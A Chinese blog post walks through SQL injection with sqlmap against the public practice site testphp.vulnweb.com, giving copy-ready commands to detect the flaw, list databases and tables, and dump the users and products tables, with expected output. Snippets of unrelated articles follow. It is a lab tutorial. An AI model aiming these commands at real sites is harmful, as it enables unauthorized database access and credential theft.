news 2026/4/23 14:48:54

SQLMap注入完整操作流程(含全部细节 靶机学习用)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQLMap注入完整操作流程(含全部细节 靶机学习用)

一、前期准备

1. 工具环境

  • 工具:sqlmap-中文汉化-1.8.1.6(运行目录:~/sqlmap-中文汉化-1.8.1.6

  • 运行命令前缀:python3 sqlmap.py

  • 系统环境:Kali Linux(终端提示符:┌──(root💀HackPts)-[~/sqlmap-中文汉化-1.8.1.6]

2. 测试靶场选择(关键避坑点)

  • 初始尝试靶场:DVWA(本地地址:http://192.168.1.4/dvwa

  • 问题:PHPSESSID会话易失效,导致sqlmap被重定向到登录页(login.php),检测失败

  • 最终成功靶场:OWASP公开测试靶场(核心地址:http://testphp.vulnweb.com/artists.php?artist=1

  • 靶场优势:无登录态要求、100%存在SQL注入漏洞、支持完整数据提取、外网可直接访问(无需本地部署)

3. 靶场核心信息(提前知晓)

  • 后端数据库:MySQL ≥ 5.6

  • Web服务器:Linux Ubuntu + Nginx 1.19.0 + PHP 5.6.40

  • 核心注入参数:GET参数artist(靶场URL自带:?artist=1

  • 可提取数据库:2个(acuart业务库、information_schema系统库)

  • 关键表:acuart库下8张表(含users用户表、products商品表)

二、完整操作流程(按顺序执行,可直接复制命令)

步骤1:验证靶场连通性 + 检测注入点

操作目的

确认靶场可访问,同时检测artist参数是否存在SQL注入漏洞

执行命令

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch --dbs -v 1

参数说明

  • -u:指定目标URL(含注入参数artist=1

  • --batch:自动确认所有交互选项(无需手动按回车)

  • --dbs:提取目标的所有数据库列表

  • -v 1:显示基础执行细节(便于排查问题)

预期结果

  1. 检测到artist参数存在4种注入类型:布尔盲注、报错注入、时间盲注、UNION联合查询

  2. 识别后端环境:MySQL ≥ 5.6、Linux Ubuntu、Nginx 1.19.0、PHP 5.6.40

  3. 提取到2个数据库:acuart(核心业务库)、information_schema(系统库)

  4. 数据存储路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com

步骤2:提取 acuart 数据库的所有表

操作目的

获取核心业务库acuart下的表结构,定位关键表(如 users、products)

执行命令

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart --tables -v 1

参数说明

  • -D acuart:指定操作的数据库为acuart(需与步骤1提取的数据库名完全一致)

  • --tables:提取指定数据库下的所有表列表

预期结果

提取到8张表,列表如下:

+-----------+ | artists | | carts | | categ | | featured | | guestbook | | pictures | | products | # 含真实商品数据的核心表 | users | # 存储账号密码的核心表(靶场故意清空数据) +-----------+

步骤3:提取 users 表的账号密码(脱裤尝试)

操作目的

尝试提取用户表users中的username(用户名)和password(密码)字段数据

执行命令

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T users -C username,password --dump -v 1

参数说明

  • -T users:指定操作的表为users(需与步骤2提取的表名完全一致)

  • -C username,password:指定提取的字段(用户名+密码,用英文逗号分隔)

  • --dump:导出指定字段的所有数据(核心“脱裤”操作)

预期结果

表结构存在,但数据为空(靶场刻意设置,非操作问题):

Database: acuart Table: users [1 entry] +----------+----------+ | username | password | +----------+----------+ | <blank> | <blank> | +----------+----------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

步骤4:提取 products 表的真实商品数据(验证流程)

操作目的

验证注入流程的完整性,提取products表的真实业务数据(商品ID、名称、价格)

执行命令

python3 sqlmap.py -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch -D acuart -T products -C id,name,price --dump -v 1

参数说明

  • -T products:指定操作的表为products

  • -C id,name,price:指定提取的字段(商品ID、商品名称、商品价格)

预期结果(核心成功标志)

提取到3条真实商品数据,完整输出如下:

Database: acuart Table: products [3 entries] +----+---------------------------------------------------+-------+ | id | name | price | +----+---------------------------------------------------+-------+ | 1 | Network Storage D-Link DNS-313 enclosure 1 x SATA | 359 | | 2 | Web Camera A4Tech PK-335E | 10 | | 3 | Laser Color Printer HP LaserJet M551dn, A4 | 812 | +----+---------------------------------------------------+-------+

数据导出路径:/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/products.csv

三、关键细节与避坑点(必看)

1. 靶场相关细节

  • 核心靶场URL(不可错):http://testphp.vulnweb.com/artists.php?artist=1(必须带?artist=1参数,否则无法检测注入点)

  • 靶场性质:OWASP官方公开测试靶场,合法合规使用,无访问限制

  • 数据特点:users表数据为空(安全防护),products表数据真实(用于验证注入)

2. 命令参数细节

  • 所有参数区分大小写:-D acuart中的acuart必须小写(与靶场数据库名一致),错写会导致提取失败

  • --batch不可省略:自动确认所有交互选项(如“是否跟随重定向”“是否测试其他参数”),避免手动输入打断流程

  • -v 1 的作用:显示基础执行日志,可快速定位“连接失败”“参数错误”等问题(如需更详细日志,可改为-v 2

3. 常见问题排查

  • 问题1:sqlmap提示“无法连接到目标URL”

  • 排查:检查网络是否通畅,靶场URL是否正确(复制http://testphp.vulnweb.com/artists.php?artist=1到浏览器,确认能打开)

  • 问题2:提取数据为空(非users表)

  • 排查:确认-D/-T/-C后的名称是否正确(需与前一步提取的数据库/表/字段名完全一致,不可多空格、不错别字)

  • 问题3:被重定向到登录页(仅DVWA靶场)

  • 排查:重新登录DVWA(账号admin,密码password),立即复制最新的PHPSESSID替换命令中的Cookie值

四、复盘总结(核心收获)

1. 完整注入链路

检测注入点 → 提取数据库列表 → 提取目标库表列表 → 提取目标表字段数据 → 导出数据(脱裤)

2. 核心命令速记

  • 检测+提库:python3 sqlmap.py -u "靶场URL" --batch --dbs -v 1

  • 提表:python3 sqlmap.py -u "靶场URL" --batch -D 数据库名 --tables -v 1

  • 提数据:python3 sqlmap.py -u "靶场URL" --batch -D 数据库名 -T 表名 -C 字段名 --dump -v 1

3. 关键经验

  • 新手练手优先选择公开测试靶场(如testphp.vulnweb.com),避开本地靶场的环境配置坑(如DVWA的会话失效、安全级别设置)

  • 执行每一步前,确认上一步的输出结果(如提取到数据库后,再用该数据库名执行提表命令),避免参数错误

  • 数据为空不一定是操作失败,可能是靶场的安全设置(如本次users表),可换其他表验证流程

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 8:17:52

学长亲荐8个AI论文工具,助研一搞定毕业论文!

学长亲荐8个AI论文工具&#xff0c;助研一搞定毕业论文&#xff01; AI 工具如何成为研究生的论文得力助手 在当今学术研究日益数字化的背景下&#xff0c;AI 工具正逐步成为研究生撰写毕业论文的重要助力。从最初的文献综述到最终的格式调整&#xff0c;AI 技术不仅提高了写作…

作者头像 李华
网站建设 2026/4/23 8:19:54

树状数组+离散化

vector<int> alls; // 存储所有待离散化的值 sort(alls.begin(), alls.end()); // 排序 alls.erase(unique(alls.begin(), alls.end()), alls.end()); //去重// 二分求出x对应离散化的值 int find(int x){// 找到第一个大于等于x的位置int l 0,r alls.size() - 1;while…

作者头像 李华
网站建设 2026/4/23 8:15:38

jni层是如何实现连接Java Framework和Native Framework

一、JNI 基础概念1.1 什么是 JNI&#xff1f;JNI (Java Native Interface) 是 Java 提供的一套标准接口&#xff0c;允许&#xff1a;Java 代码调用 C/C 代码&#xff08;Native 方法&#xff09;C/C 代码调用 Java 代码&#xff08;反向调用&#xff09;┌──────────…

作者头像 李华
网站建设 2026/4/23 8:19:30

国产三维设计软件 ZWPD vs 国外主流平台:协同效率与成本优势分析

在工业数字化转型加速推进的当下&#xff0c;三维设计软件作为流程工业项目全生命周期管理的核心工具&#xff0c;其性能表现、协同能力与成本控制直接影响项目效率与企业竞争力。长期以来&#xff0c;海克斯康Smart 3D、西门子COMOS、施耐德AVEVA等国外主流平台凭借先发优势占…

作者头像 李华
网站建设 2026/4/23 8:19:34

CSS3 字体

CSS3 字体 随着Web设计的不断发展,CSS3字体功能为网页设计提供了更多的可能性。本文将详细介绍CSS3字体的相关特性,包括字体的加载、样式设置以及兼容性等。 字体的加载 在CSS3中,我们可以通过@font-face规则来加载自定义字体。这样,网页设计师就可以在网页中自由使用各…

作者头像 李华